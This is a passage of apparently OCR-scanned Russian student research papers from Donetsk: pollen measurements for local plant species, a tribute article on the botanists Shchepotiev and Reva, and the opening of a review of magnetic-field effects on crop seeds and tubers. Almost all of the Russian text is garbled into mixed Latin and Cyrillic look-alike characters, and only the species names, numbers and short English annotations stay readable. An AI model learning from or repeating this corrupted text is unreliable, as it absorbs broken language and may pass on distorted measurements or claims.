anepTyp 3; KoH(pUTypanus anepTyp SKBaTOpHAIIbHAS; XapaKTep arnepTyp 00po3IHO-OpOBas;
pasMep kieTok 3epHa 78,2-88,4 mxMm; pepTrnbHOCTS 81 %.

Tanacetum vulgare L. — npuiblieBbIe 3¢pHA MOHA/IbI; SK3MHA [IIMITOBATASI; KOJIMYECTBO
aneptyp 3; KOHpUTypalus anepTyp SKBaTOpHallbHAs; XapakTep anepTyp 00po3aqHO-OpOBasd;
pasmep 3epHa 117,6-157 mxm; peprunsrocTs 80 %.

Papaver rhoeas L. — mbuiblieBble 3epHa MOHAJbBI, SK3WHA Oyropdyaras; KOJHYECTBO
anepTyp 2; KOHGUTypaIys anepTyp SKBaToOpHallbHAs; XapakTep aneptyp 6oposna 81,6-129,2
MKM; (epTuinbHOCTb 75%.

Fumaria officinalis L. — mpuibIieBbIe 3epHa MOHA/IBI; YK3UHA CTPYiUaTas; KOJIHMYECTBO
anepTyp 3; KoH(uUrypalus anepTyp SKBaTOpHallbHAs; XapakTep anepTyp 00po31HO-OpoBasi;
pa3mep KJIeTOK 3epeH 78,2-88,4 mkMm; GpepTrsibHOCTE 97 %.

Taraxacum officinale L. meiibplieBbIe 3epHa MOHA/IBI; SK3HHA IITHUITOBATAs; KOJIUIECTBO
anepTyp 3; KoH(UTYypalus anepTyp SKBaTOpHANIbHAS; XapaKTep anepTyp 00po3IHO-OpOBas;
pa3mep Ki1eTok 3epHa 98,6-147,1 mxm; GpepTriibHOCTE 86 %.

Elytrigia repens L. — nbuibiieBbIe 3epHa MOHAJIbI; SK3MHA [IEPOXOBATasi; KOJIHUYECTBO
anepTyp 1; KoHpUrypauus anepTyp AUCTAIBHOE; XapaKkTep amnepTyp YJIbKYC; 0COOEHHOCTH
nopa 00oj1koBasi, ¢ onepkymnomom 90,9-150 mxm, depTrbHOCTD 97 %.

Euphorbia stepposa Zoz ex Prokh. — nbuiblieBbie 3epHa MOHAJIBI; DK3WHA CETYATAas;
KOJIMYECTBO amepTyp 3; KOHQHTypamus amnepTyp OSKBaTOpHUalbHAas; XapakTep amnepTyp
00pO3IHO-0pOBas; pazMep KIeTok 3epeH 92,5-157,5 mxm, peptunbHOCTE 95 %.

Trifolium pratense L. — mbuiblieBbIe 3epHA MOHAJbI; SK3UHA CeTYaTas; KOJIUYECTBO
anepTyp 3; KoH(uUrypalus anepTyp SKBaTOpHalIbHAs; XapakTep anepTyp 00po31HO-OpoBas;
pa3Mep kinetok 3epeH 84,3-127,2; pepruiabHOCTS 95 %.

Daucus carota L. — mbuiblieBbIe 3epHa MOHAJIBI; dK3WHA Oyropuarasi; KOJUYeCTBO
anepTyp 3; KoH(pUTYypanus anepTyp SKBaTOpHANIbHAS; XapaKTep arnepTyp 00po3IHO-OpoBas;
pa3mep kieTok 3epeH 96,1-117,6 mxm; GpeptrnibHOCTE 78 %.

Saponaria officinalis L. — mnbuiblieBble 3epHAa MOHAJBI, JK3WHA Oyropuaras;
KOJIMYECTBO amnepTyp Oosblie 6; KOH(UTrypauus anepTyp paccesHHas; XapakTep anepryp
mopa; OCOOEHHOCTH TOPBI C ONEPYIIOMOM; pa3Mep KIeTOK 3epeH 76,6-101,2 mkwm;
¢deprunbHOCTb 91 %.
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Vicia cracca L. — mbuiblieBble 3epHa MOHAJbI, K3MHA Oyropdvaras; KOJIUYECTBO
anepryp 3; KOHPUTypalus anepTyp dKBaTOpPHAIIbHAS; XapakTep anepTyp 0OpOo3IHO-OpOBasd;
OCOOEHHOCTH TBUIBIIEBOEC 3€PHO OOYOHKOBHIHON (OpMBI; pa3smep KieTok 3epeH 81,9-
98,1 mxMm; deprunbHOCTE 95 %. OCoOEHHOCTH TOJNSpPHAS OCh CYIIECTBEHHO IPEBBIIIACT
HKBATOPUATILHBINA AUAMETD.

TakuM 00pa3oM, YCTaHOBIIEHO, YTO (popMa MBUIBIIEBOTO 3€PHA U CTPOCHHUE IK3UHBI
uccaen0BaHHbBIX 00pa3ioB B Jlonbacce cxomHa ¢ oOpasmamu obimen3BecTHON 0azsl MITY.
JlanHBIE O pa3Mepe MBUIBIBI CPEeId H3YYCHHBIX POJOB HE3HAYUTEIHHO Pa3TUYAIOTCS.
Bripaxkxeno enunoo6Opasue B opme MoHazbl. B naHHBIIE MOMEHT yMECTHO yKas3aThb Ha TO,
HEeo0X0IUMO co3/1aTh 0a3y MaJWHOJIOTUYECKUX MapaMeTpOB Ui KOHKPETHBIX YYacTKOB
CenuTeOHON 30HBI.
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ANALYSIS OF POLLEN SPECTRA OF RESIDENTIAL AREAS OF DONETSK

Annotation. The paper presents an analysis of pollen grains in anthropogenically altered areas of the urban
environment. The analysis was carried out when identifying plant objects based on carpological, palynological
and anatomical data. The shape, structure, fertility and features of pollen grains have been established.
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VJIK 57 : 581 (477.60)

NCTOPUKO-BUOJIOI'MYECKHUE UCCJIIEJOBAHUA B TOHHY,
INOCBAIEHHBIE IOBUJIEAM BBIJIAIOIIUXCH YYEHBIX

Mypawkun B.B., Huxugopenrxo M.A.
Hayunwuii pyxosooumens: Cagponos A.U., kano.ouon.nayk, 3ae.kagheopoii
TIoy BIIO «/IOHHY»

Annomayus. PaboTta BRIIIOTHEHA B CEPUH HAYIHO-HCCIIEIOBATEIECKOM TEMATHKHU: « Y YeHBIe-OHOIIOTH, SKOJIOTH,
6orannkmu JloHOacca Kak HpUMEp peanu3aliy >XU3HEHHOW CTPaTernd B BOCHHTATEIbHO-HPAaBCTBEHHBIX
OpHEHTHpax M IEeHHOCTAX». OOo0maronre qaHHble K 100mieiHsM nataM mnpogeccopoB @.J1. IllemoTseBa u
M.JI. PeBbl mpencraBieHbl B KaueCTBE CBOJKM HAYYHO-IPAKTHYECKUX MEPONPHATHH, ITOJIIEPKHUBAIOIINX
aKTYaJIbHOCTh O0TaHHKO-9KOJIOTHYECKUX HCCIICTOBAHUN IS yUCHBIX U MpakTukoB JloHOacca.

Kniouegvie cnosa: Jlonbacc, GUTOMHIMKALMSL, YUeHbIE-00TAHUKH, UCTOPHKO-OHOIOTHUECKHE ITaHHBIC.

Cucrema HpaBCTBEHHO-KYJIBTYpPHBIX LEHHOCTEH (opMupyercs Ha J10Ka3aTeIbHOM
OIBITE MCTOPUYECKHX (HAaKTOB. BBLIEISISI NOCTMKEHUS YUEHBIX, 00s3aTelIbHBIM 00pa3zoM
HE00XO0AUMO MPOCIEIUTh UX KU3HEHHBIN IYTh B CBSI3U C TEMU UCTOPUYECKMMHU YCIOBUSMH,
B KOTOPBIX MPOSBUIINCH WX CTPEMIICHUS, ObUIM MPEIOoIpeIelieHbl OCHOBHBIC HAIIPAaBIICHHS
paloThI, clie1aHbl KOHKPETHbBIE YCUIINS U IOCTUKEHHUS, ITOJI0’KUBIINE HaYaJI0 HOBBIM HayYHO-
TEXHOJIOTHYECKUM OTKpBITUSIM. JloHOacc st MHorux Beaymux yuyeHsix CCCP ¢ 1965 roxa
CTaJ TOYKOW cOopa M NPOSIBIEHUS MaKCUMAaJbHBIX YCWJIMH IO PEHIEHHI0 MHOTHX 3ajad
Pa3BUTH TOCYIApCTBA B AMIOXY WHAYCTPHAIN3AIUHN U CTAHOBIICHHSI CTA0OMIIBHOM YSKOHOMHKH,
[I0O3TOMY B HallIM 33Ja4d KOHTEKCTa aKTyaJbHOW MyOJIMKalMKM BXOAUT MPOAaHATIU3UPOBATh
KU3HEHHBIH TYTh BBINAIONIMXCS YUEHBIX, HA TPUMEPEe KOTOPBIX MOKHO PaccMaTpuBaTh U
Hay4YHO-MCTOPUYECKUE TIOCTUKEHHS TOTO BPEMEHHU.

Llens paboOTHI — MPECTABUTH JAHHBIE TI0 BHITOJHEHUIO MEPOIPUSATHI B CEpUN HAYYHO-
UCCIIEIOBATENIbCKOW TEeMaTHKHU: «Y4eHble-OMoioru, sKkosoru, Ootanuku JlonOacca kak
MIpUMEp peau3alii KU3HECHHOW CTPAaTeTHH B BOCIIUTATEIbEHO-HPABCTBEHHBIX OPUEHTHPAX U
LEHHOCTSX»; o0oOImaroniie cpeneHuss k robuinesMm npodeccopos @D.JI. HlenotseBa u
M.JI. PeBbl npencraBuTh B KadeCTBE CBOJAKHM HAYYHO-IPAKTUYECKUX MEPONPHUATH,
MOTYEPKUBAIOIINX AKTYaJIbHOCTh OOTAHMKO-IKOJOTHUECKUX HCCIEIOBAaHUN /sl YUEHBIX U
npakTukoB JlonOacca.

CrycKOBBIM MEXaHM3MOM Hay4HO-ITyOIMKAIMOHHOM AEATeNbHOCTU B chepe HCTOPUKO-
OMOJIOTHYECKUX HCCIIEJOBAaHUI CTajla WHUIIMATHBA CTapIIero IperoaaBatens Kadeapsl
¢uznonorun yenoseka u KUBOTHEIX T.II. CronsipoBoii mo cOopy M aHaNMU3y UCTOPUYECKUX
(haKTOB XU3HEHHOTO MYTH BBIAAIOIMUXCS y4deHbIX [loHOacca B CBSI3W C MX OOHMIJICHHBIMH
natamu [1], 4TO cCylIeCTBEHHBIM 00pa3oM MO3BOJSET pPACIIMPUTh CIEKTP Hay4yHO-
MPAaKTUYECKOHN 3aHIATOCTH YUCHBIX OMOJIOTHYECKOTO (hakynpTeTa JJOHeIKOTo HAaIlMOHATIHLHOTO
YHUBEPCUTETA 110 UCTOPUKO-TpapuueckoMy 006001eHHI0 HyHIaMEHTATBHBIX UCCIIeI0BaHNUI
B peruone [2]. K 100-netuto mpod. M.JI. Pesr B 2022 r. OblTa TOATOTOBIIEHA CEPUS
nyonukanuit [3—6], B TOM uucie ¥ Ha OCHOBaHMM HAaKOIUJICHHBIX JaHHBIX Ha Kadeape
O0oTaHMKKW W JKojoruu [7-13] m akTyalbHBIX pPa3pabOTOK OOTAaHUKO-IKOJIOTHYECKOTO
conepxxanus B Jlon6acce [14]. YcTaHOBIEHO TakKe, YTO HAYYHO-TIPAKTHUYECKUE Pa3paboTKH
OTpaKaroTcsi W Ha crnenuduke 0O0pa3oBaTENBHONW NESTETBHOCTH, TIPH BBHIOJIHEHUH
CTY/IEHTaMH KYpPCOBBIX, IUIUIOMHBIX PaldoT, IPH aHAJIN3€ MPUUYNHHO-CIIEJICTBEHHBIX CBS3EH B
000CHOBAHHUHU HAYYHBIX pa3pabOTOK KOHKPETHOTO BpeMenu [15-22].

Hcropuko-Oubnuorpapuueckne pa3paboTKH B pa3pesze CPOpMYIHPOBAHHOTO 3aaHUs
KacaJluCh NPAMBIX pPabOT C JOKyMEHTaMH, (oToMarepuasaMu, KOTOpPbIE COCTaBISIOT
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JI0Ka3aTebHYI0 0a3y HayuyHO-00pa30BaTEbHBIX U HPABCTBEHHBIX OPUEHTHUPOB Mpodeccopa
@.JI. llenoteesa (puc. 1, 2) u mpodeccopa M.JIL. PesrI (puc. 3, 4).
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Puc. 1 — Uctopuko-o6ubmuorpaduueckue ceeaenus o npod. ®.JI. lllenotrese
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Puc. 2 — HpaBcTBeHHO-TTaTpUOTUYECKHE OPUEHTUPBI U JocTikeHus pod. @ .JI. [llenoTseBa

OObeUHSIONIMM HAYajJOM CTAHOBJICHUS IJUYHOCTH OOOMX BBIJAIOIIUXCS YUEHBIX
Jonbacca crana Benukas OtedecTBeHHast BOifHa: B 00phoe ¢ (amm3Mom chopMUPOBATUCH U
HPABCTBEHHBIE WJCalbl, IICHHOCTH, CTPEMJICHHUS KUTh U Pa3BUBATHCS, PA3BUBATh HAyYHBIC
HaNpaBJICHUs, IMETh JIOCTHKECHUS, TTIOJIE3HBIE HAPOJTHOMY XO3SHCTBY OOJBIION CTPAHBL.

Cynp0bl 000UX y4eHBIX HEpa3pbhIBHBIM 00pa30M CBs3aHbl C OTKpbITHEM JloHenkoro
Hay4HOTO IeHTpa B 1965 1., nepernmeHoBanneM JIOHENKOTO MEeIaroruieckoro MHCTUTYTa B
JloHeukuii rocyaapCTBEHHBI YHHUBEPCUTET CO BCEMHU TPEOOBAHHUSAMH HATUYHs BBICOKHX
TEXHOJIOTUH B peruoHe, (GopMHUpOBAHUEM TPAJAHMIHNA MOCTAHOBKH, PA3BUTHS W BHEIPCHHS
HAyYHOTO JKCIEPUMEHTAa — B JIAaHHOM KOHTEKCTe MO H3yYEHHUIO PACTEHHH B YCIOBHSIX
MPOMBIIIJIEHHO Pa3BUTOrO permoHa — JlOHEHKOro KaMeHHOYroJbHOro OacceifHa.
OOBbeMHAIONIMM HAaYaJIOM CTallo HEe TOJBKO BHEIPEHNE HAYYHO-HJICHHBIX pa3paboToK, HO U
HETIOCPEICTBeHHAsT paboTa C KOJJIEKTUBOM, OOBEAMHEHHWE JIIOJICH B JIOCTHIKEHUH OOIIHMX
3ajja4 MO0 M3Yy4YEHMIO PACTEHUH, HaydeHHE TNOJpPACTAIOLIET0 MOKOJEHUs (IIKOJIbHUKOB,
CTYJCHTOB, acCIUPaHTOB, MOJIOABIX YYEHBIX) STUM 3aJayaM, peaju3alid MeXaHh3Ma
MOHUMaHUS W (PYHKIMOHUPOBAHUS (PUTOOOBEKTOB B CTPECCOBBIX YCIOBHUSX. bbun
PaccMOTpPEHBI MHOTOUHCIIEHHBIE BOBMOXKHOCTH HCIIOIh30BaHus pacTeHuit B JJonbacce [1, 3.
7, 8, 20], pazpaboTaHbl MEPOTIPUATHUS 110 ONTHMH3AINHI TEXHOTCHHBIX JIaHAMA()TOB, CIOCOOBI
peain3aluy NporpaMm UHAYIUPOBAHHOTO MyTareHe3a pacTeHui, uAeHTUGUKaIus, peaKux,
PapUTETHBIX M MCUE3aIOLINX pacTeHU Ha Tepputopuu Bocrounoit Esponsr [2, 10, 11, 21,
22]. Orto sBhsieTcs OOBEKTOM OOCYKIEHHs, TOPJOCTH W TPUMEPOM JUISI MOJIOJICKH B
OpPHEHTAIlMM HAy4YHO-MJIEHHBIX IIEHHOCTeH M 3HAYMMOCTH YYEHbIX B COLMAJIBHO-
MOJINTUYECKON YCTIEUTHOCTH PETrHOHA.
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OppaeH OTeuecTseHHOM BOWHbI || cTenexn

Puc. 3 — Uctopuko-o6ubauorpaduueckue ceenenus o mpod. M.JI. Pese

Bbizenssi KOHKpeTHbIe JOCTHKEHHS NMpodeccopoB OOTaHMKHM B J[OHEKOM HayuyHOM
neHTpe nepuona 1965-m0 2000 rr., OpueHTUPOM AJIS1 CBEIEHUH SBIIIOTCS UX JIMYHBIE 3AIIUCH,
myOJIMKanuu, MoHorpaguueckue paboThl, WITFOCTPATUBHBIN MaTepra. Mbl clienany BbIBOJ,
YTO YYEHBIMU [TPOKUTA HHTEPECHAS, HACBILLIEHHAs KU3Hb, HO TOJIBKO B IIPEOA0IEHUY MHOTHUX
KUTEHCKU-OBITOBBIX TPYIHOCTEN U UJICWHBIX OPUEHTAIINN ONITUMU3AIIMN HAPYIIEHHBIX CPEl
OHU JI0OMJIMCh MUPOBOTO IPU3HAHUS U YCIIEXOB — Ha 0J1aro pa3BUTHS HAILIETO PETHOHA.
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PACTEHWR
B BbITY

Sl

PACTEHUA
 Amwes B BBITY

BEJIMKOAHA1OJIbCKHIt JIEC

Puc. 4 — bubnmuorpaduueckue apredakTsl 0 HAYIHOH AesreabHocTH Tpod. M.JL. PeBbl

Takum oOpa3oM, paGoTa BBIIOJIHEHA B CEPUN HAYYHO-HCCIIECAOBATEIbCKOM TEMATHKH:
«Y4eHple-61osI0TH, 3KOJIOTH, OoTaHUKM JloHOacca kak mpuMep peanu3aluu KU3HEHHOU
CTpaTeTHH B BOCIHTATEIbHO-HPABCTBEHHBIX OPHEHTHpAX M IEHHOCTsAX». OOoOmaromme
JaHHbIe K 00meiHbM 1ataM npodeccopon @.JI. IllenotseBa u M.JI. PeBbl pecTaBieHs! B
KAauecTBE CBOJKU HAyYHO-NPAKTUYECKUX MEPONPUSTUN, MOAUYEPKUBAIOLIUX AKTyaJbHOCTb
00TaHMKO-3KOJIOTMYECKHX MCCIeIOBaHUMN sl yUEeHBIX U MPakTUKoB JloHOacca.
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HISTORICAL AND BIOLOGICAL RESEARCH IN DONNA DEDICATED TO ANNIVERSARIES
OF OUTSTANDING SCIENTISTS

Annotation. The work was done in the research theme: "Scientists-biologists, ecology, botanists of Donbass as
an example of the implementation of a life series of strategies in educational and moral guidelines and values."
Generalizing data for the anniversaries of professors F.L. Shchepotiev and M.L. The above are presented as a
summary of scientific and practical events that emphasize the relevance of botanical and environmental research
for scientists and practitioners of Donbass.
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YIKS77.3

BJIMAHUE MATHUTHOT O IIOJISA C PA3JIMYHBIMU TAPAMETPAMUM HA
PACTEHHS, NCHIOJIBb3YEMBIE B CEJIbCKOXO3SMCTBEHHOM

JAEATEJIBHOCTH
Peyyxaa B.B.
Hayunwuit pykosooumens: Kopnuenko B.O., kano.ouon.nayk, cmapuiuii npenooasameis
roy BIIO «/IOHHY»

Annomayus: B ngaHHOW paboTe HMCCICIOBAHO BIMSHHE MEPEMEHHOIO MArHUTHOTO MOJII HAa OHTOTCHE3 W
MOpP(GHOMETPHIO PACTEHHUI CEIbCKOXO3SMCTBEHHON IICHHOCTH Ha MpUMEpe KYKypy3sl caxapHoi. OueHunu
BJIMSIHUE NIEPEMEHHOIO MAarHUTHOTO MOJisi ¢ MarHUTHOU uHAyKuued 1 mTn u wacrotoit ot 10 I'm go 50 I'u Ha
OHTOTEHE3 B MOPPOMETPHUIO KYKYPY3bl CaXapHOii.

Kniouesvie crosa: xykypy3a caxapHasi, MOTU(PHKAIHUS CBOHCTB JKUBBIX CHCTEM, OMOTECTHPOBAHNE, MATHUTHOE
ToJIe.

BBenenune. B Hacrosiiee BpeMs akTyalbHOW MpoOJieMOil OHOJIOTMYECKON HayKH
SBJIETCS IOMCK HOBBIX TEXHOJOTMH JJii LEJCHANPaBICHHOIO BO3JCHCTBUS Ha
pacrenus.Yacto nogoOHBIE TEXHOJIOTMH OCHOBBIBAIOTCS HA BO3ACUCTBUM (DU3MYECKHUX
¢daxrTopoB [1-5]. OcobenHoe 3HaYeHNE B COBPEMEHHBIX YCIOBHUSIX MMEIOT HHHOBAIIMOHHBIC
CEJIbCKOXO35ICTBEHHBIE TEXHOJIOTUH, KOTOPbIE MOIYT B KOMIUIEKCE PEIINTh 3aJadu
yBEJIMUYEHUSI 00bEMOB IPOAYKIIUU TPEOYEMOro KauecTBa IpU MUHUMYME 3aTpaT, HallpuMep,
MarHuTHBIX BO3JEHCTBUN Ha pacTeHus [6]. BnusHue ¢usndeckux ¢GpakTopoB, B YACTHOCTH
MarHMTHOIO TOJIs, IpU 00pabOTKE CEMSIH CENbCKOXO3SIIICTBEHHBIX KYJIbTYP OTpa)KaeTcsl Ha
(bU3MKO-XUMHUYECKUX Tpolieccax, Mpoucxosamux B Hux. Ilog neifictBueM mosst Bo3pactaeT
CKOPOCTb XUMHUYECKMX U OMOXMMHUYECKUX PEaKIUil B KJIETKax [7], IPOMCXOAUT U3MEHEHUE
MPOHUIIAEMOCTH KJIETOYHBIX MeMOpaH, B pe3ylbTaTe 4ero yckopsercs nudpgys3us depes
MeMOpaHy MOJIEKYJ 1 HOHOB [8; 9] u yBenuuuBaercs BojonoriouieHue cemst [10].

BnusiHue MarHUTHOTO ISUISL HA POCT M Pa3BUTHE CEIbCKOXO3SIMICTBEHHBIX KyIbTyp. B
pabore [11] wmccrmemoBanu BIUSHHS HHU3KOYACTOTHOTO IMMEPEMEHHOIO MAarHHTHOTO TIOJIS,
TMIIEPTEPMUM M UX KOMOMHHMPOBAHUS Ha COJAEp)KAaHUE CYMMBl OpPTraHUYECKUX U
HEOpraHMYeCKUX rujapornepekuceil. B kauectBe oObekTa HcCIeIOBaHUS MCIIONb30BAIN
pacTeHus ropoxa moceBHoro Pisum sativum L. copra «AnbOymen». BeipaiieHHbIe B
knuMaTndeckoit kamepe KBM-240 npu temnepatype +23°C. Jlig reHepaliui MarHUTHOTO
IOJII MCIIOJIB30BAJlaCh MAarHMTOTEpANleBTUYECKash ycTaHOBKa VL-2 , co3gaBaBiias
nepemeHHoe (ummynbcHoe) MarauTHOe moje ([TeMIT) co 3HaueHneM MarHUTHOW MHAYKITUN
1,5 mTn, yacToTOM MarHuTHOTO IOJIA B coieHouae 15 I'i. JJnurensHoCTh 3kcno3umuu 15, 30
MUH U 2 4. BennumHa T€OMarHUTHOTrO MOJS BO BpeMS MPOBEIEHUS HSKCIEPUMEHTOB
coctasisiia 47-50 MxTa. [1pu uzyuyeHnn KOMOMHHPOBAHHOTO BO3JICHCTBUS JIBYX (haKTOPOB
pactenus 3xkcrionupoBanuck B [1eMII, 3arem nomemanucey B yclioBUsl THIIEPTEPMHH, TUOO B
oOpaTHOM ToOpsAKe. 3aTeM pacTeHus MOoJBeprajuch jAeiicteuio runeprepmuu, [leMIl u
pacTeHUsl MOMeUIaNuch Ha 4 JHS B KIMMAaTHYECKYI0 KaMmepy. OKCIIEPHUMEHThI ObLTH
BBITIOJTHEHBI HE MEHEEe YeM B 5 OMOJIOrH4ecKkux U 3 OMOXMMUYECKUX MoBTOpax. B pesynbrare
paloThl clenaHbl BBIBOABI: B OJKCIEPUMEHTAaX |5-MHHYTHas TUIEepTepMHUs yBEIHMUMBala
cyMMapHoe cozepxanue ruaponepekuceii 40 %, a 30-mMuHyTHas BbI3BIBAJA POCT
coJiepKaHus nepokcuaa Bogopoaa Ha 22%; I1eMII BbI3bIBaio HE YBEIUYEHHE, & CHUKECHHE
coJiep’KaHusl KaKk CyMMapHBIX rujapornepekuceit (mocie 120-mMuHyTHOH 0O0paOOTKH MOJEM),
Tak M Tepokcuaa Boaoponaa (mocie 30-MUHYTHOTO BO3ICWCTBUS), B JaHHOM pabote
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MpearoaraeTcs, 4YTo IEePEMEHHOE MAarHUTHOE II0JIe MOJKET BBICTYNATh KakK Cl1a0blid
CTUMYJUPYIOIIUH PaKTop.

B pa6ore [12] wu3ydanu BIHMSHUE CHIBHOTO MOCTOSHHOTO M BUXPEBBIX MAarHUTHBIX
nmosieii  (B~50...104 I'c) Ha CKOpOCTh MpopalmiuBaHus ceMmsH. B kadectBe oOBekTa
UCCIIEIOBaHMs MCIOIb30BAIM ceMeHa oBca Bomoroackoro u nimenuisl OtdopHoil. OcHoBOM
CIIYWJI TIECOK, TPOMBITHIN U NMpOKaJieHHbIN B TeueHue 3 yacoB 1pu 250°C. Cemena B necke
1 BoJe pa3Mmemiaiy B yamkax Ilerpu. Bony Bo1onpoBoiHYIO BBIAEPKUBAIN HE MEHEE CYTOK.
OOpa3ipl ONMPHICKUBAIM PAaBHBIMU TOPLUSMHU BOJBL. Bec cemsH mecka, 3eleHONH MacChl
OTIpeIeNISIN Ha 1TabopaTOpHBIX Becax ¢ TOYHOCThI0 20 mr. HaBecku cemsH: oBca — 3,0...3,4
T, TIIIEHUIBI 118 TpopacTanus — 10 r, a 11 BeIpaliuBaHus 3€JIeHbIX cTebnei — 7 1. Yamku
[letpu pacnonaranu Hag Marautamu ¢ 3a3opom 0,5...1 cm. Temmeparypa npu HaOyxXaHUH U
npupocta ceMsiH coctapisiia 25 °C. 3eneHble pOCTKH 00JIydaald CBETOM JTFOMUHECIEHTHBIX
namn PL11WG23. Ckopoctb BpailieHus: (W) MarHuTHbIX Memanok MM-3 u MM-5 mensnu
ot 100 1o 1000 06/muH. Vcnionb30Banu ABa TUIA NPIMOYTOJIbHBIX HEOJUMOBBIX MATHUTOB C
B ~ 10* T'c: B1 pasmepom 3x2x1 cM ¢ B-Bektopom Bons pebpa 1; B2 - 4x1x1 cm ¢ B-
BEKTOpPOM B0Jb pedpa 4. KoHtponbHbie 00pa3iibl ObLIN yOpaHbl OT MarHUTOB Ha 3 MeTpa.
Cemena B HaIikax Jie)kajal TOPH30HTANIBHO, 32 HCKIIIOYEHUEM JIBYX OMBITOB. TakuM 00pazom,
MarHMTHOE TOJIe JUIsl BCEX 00pPa3loB KPOME KOHTPOJIBHBIX ObUIM CIOKHBIMH C OOJBIIUMU
rpaeHTaMu B Tpeenax vamkd lleTpy W 1O MHTEHCHMBHOCTH MeTaOoM3Ma pacTeHUi
BBIIBUIIH 3(D(PEKT MArHUTHOTO OIS

B pa6ote [13] uccnenoBanu Bo3zekcTBus Hu3kouHTeHCHBHBIMU DMIT KBY u CBY
nuana3oHoB. B kauecTBe 00bEKTa UCCIIEOBAHMS UCIOIB30BAIM CEMEHA SIPOBOM MIIIEHUIIBI.
st mpennoceBHOM 00paboTku cemsiH  ucnodb3oBaiica reHeparop OMII KBY - nuamazona
«Bp 1-7,1». ITapamerper OMII, ncnyckaemoro pynopHoil aHTEHHOM reHeparopa : JJIMHA
BoJHBI - 7,1 MM, uactota - 42,25 ITn, MHTEHCHBHOCTh B OIPEICICHHOW 00JIacTh
obpabotannbix cemsH- 0,01 mBt/cM2 (cpemnee 3Hauenue). IIpogomkuTensHOCTH
npeanocesHoit KBY 06paboTku rpyrmin cemsiH spoBoit mieHuIibl, cocrapmia: 20, 30, 40, 50,
60 wmunyt. Ilocne npannoit KBY o00paGoTku, cemeHa [MaHHBIX TIpyMI, BKJIOYas H
KOHTPOJIbHYIO, ObLIIN BbICa)keHbI. IHTeHCcHBHOCTH fanHOro OMII n3MeHsercs B 3aBUCUMOCTH
OT MecTa pacnojoxeHus (yrioB najenus idydeid OMII, nznmyyaemoro pyrnopHoil aHTEeHHOM
reiepatopa "fABp 1-7,1") ceMsH M OT IIyOMHBI HMX 3ajeraHuss B TOJILUHE CJIOS.
WNuTtencuBHocts storo OMII 3aBucuT 0T monokeHus cemeHu (yria mageHuss OMII |
HCIyCKaeMOro pYyNOpHON aHTeHHOH reHeparopa "SBb 1-7.1")M rimyOMHBI TOJIIMHBI CIIOS.
TonmuHa cinos ceMsiH Ha MOBEPXHOCTH IO MU3JydaTeslieM cocTasisia 4-5 cM. Mzmyuarens
reHeparopa "ABp 1-7.1"pa3memniasics Ha paccTOSHUUIM OT MOBEPXHOCTH 0O0PaOOTaHHBIX
ceMsH. B pe3ynbprare pa®oThl c/eiaHbl BBIBOJBI: B JAHHBIX CIOSX 3(P(PEKTOB CTUMYISALUU
POCTOBBIX MPOIIECCOB B MPOPACTAIONIMX CEMEHax, MPOUCXOIUT BbIpaBHUBaHHE pa3zdpoca
napaMeTpoB U yMeHbIlIEHHe 3HaueHul; pacnpenenenue OMII B obmactu moa usiyyarenaem
Ha pa3HbIX TITyOMHAaX OOIIEH TOJMIIUHBI CJIOS KpaHe HEPABHOMEPHO.

B pabore [14] npoBoaminock BIusiHUS peanocanodHoi oopadotku [TeMII pasHbix
4acTOT BCXOXKECTh KIyOHell kaprodens. OObeKTOM HCcleloBaHUS  copTa KapTodens
CIl>)KMJIM: pPaHHecHeNbli « ¥Yaada» u cpennecnensiii «Hapr-1». McTouHMKOM nepeMeHHBIX
MarHUTHBIX TOJE€H CIy)KHUjIa KaTyllKa MHIYKTUBHOCTH, MPEACTaBISAOMAs cOOOM MOJIbIH
uunuHap auamerpoM 250 MM u BbicoToi 900 mwm. i reHepanuu NMEpPEeMEHHBIX MoJien
pa3IMYHBIX YacTOT M HampsbkeHHocTed wucnonb3oBaicss L[AIl . Curman Ha BbBIXOIE
KOMIIbIOTEpa yCHJIMBAETCS YCWJIMTENIEM U MOAAETCs Ha Karylky u ocimniorpagaCl-69.
[loneBpie OMBITBI NPOBOJWINCH, B TPEXKPATHOM IMOBTOPHOCTH ¢ mnpuMmeHeHueM IlleMII
gactoroit 8000 'y, 15000 't 1 20000 I', HaNMPsKEHHOCTHIO MAarHUTHOTO 1ot 12 MA/M 1
BpeMeHeM oOmydeHus 24 4. OOnydeHue KiIyOHEH kaprodens NmpoBOIWIHM 3a 3 JHS /10
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nocaaku. [Ipopactanue kaprodens copra «Ympada» B OnbITax MpoBoauian ¢ 12 mo 17 neHs
nocye nocesa. C 16 mo 21 nens muis copra «Hapt-1». B pesynbrate paboThl ObuIH ceIaHHBIE
BBIBOJIbI: TIpu npuMeHeHuu [IeMII uwacrotoit 8000 I'm He HabmOmaeTcs CymeCTBEHHBIX
W3MEHEHUN BO BCXOXKECTHU KIIyOHEH KapTodels Mo CpaBHEHHUIO ¢ KOHTPOJIbHBIM BapUAHTOM,;
npu ucnodb3oBanuu [IeMII ywacroroit 15000 I't sHeprus mpopacTaHus yBEJIUYUBACTCA Y
copra «Ymaua» Ha 15,0 %, a y copra «Hapt-1» Ha 11,9 %; yBenuuenue wyactotsl [IeMII no
20000 I'n oka3ano 3HaYUTENBHOE MOJIOKUTEIBHOE BIMSIHUE HA BCXOXKECTh PAHHECIIENOT0 U
cpenHecnienoro copra kaprodens. Ha 17-if neHb BCXOXKECTh PAHHECIIENIOrO COpTa
yBenuumiach A0 98,3+2,0. YV cpeanecnenoro Ha 21 nenb - 98,5+2,0 %; B ONBITHBIX BapUaHTaX
OBLJIO MCITOJIB30BaHO MarHuTHOE moJje yactotoi 8000, 15000, 20000 I'ti, HAMPSHKEHHOCTHIO
MarHuTHOTO ot 12 MA/M u Bpemenem oOiryuenus 24 4. [IpennoceBHoe 00rydeHre KiryOHen
KapTodesns mpoBOIMIOCh 3a 3 THS 10 MOCAAKU B MO4BY. KOHTPOIBHBIMU KIYOHSIMH ObLIN
KJIyOHH, COOTBETCTBYIOIIUE SKCIIEPUMEHTATBHBIM ,KOTOPbIE HE MOJABEPTINCH BO3JICUCTBHIO.
[Tocne o6padotku kiayoHei [IeMII pa3HbIx 4acTOT Bce MaTepualbl, a TAK)KE U KOHTPOJIBHBIH
BApUAHT COJIEPKAJIM B OJUHAKOBBIX YCIOBUSIX. DKCIEPUMEHTHI MPOBOAMIA B 3-KpaTHOU
MOBTOPHOCTU. YUYET BCXOXKECTH KIyOHEH MpOBOAMIM IyTeM IMOJAcCYeTa MPOLEHTHOIO
OTHOIIIEHUS BCXO/IOB, TOSIBUBIIMXCS HA YUETHOM JIEISTHKE, K KOJIMYECTBY IMOCAXKEHHBIX HA HEH
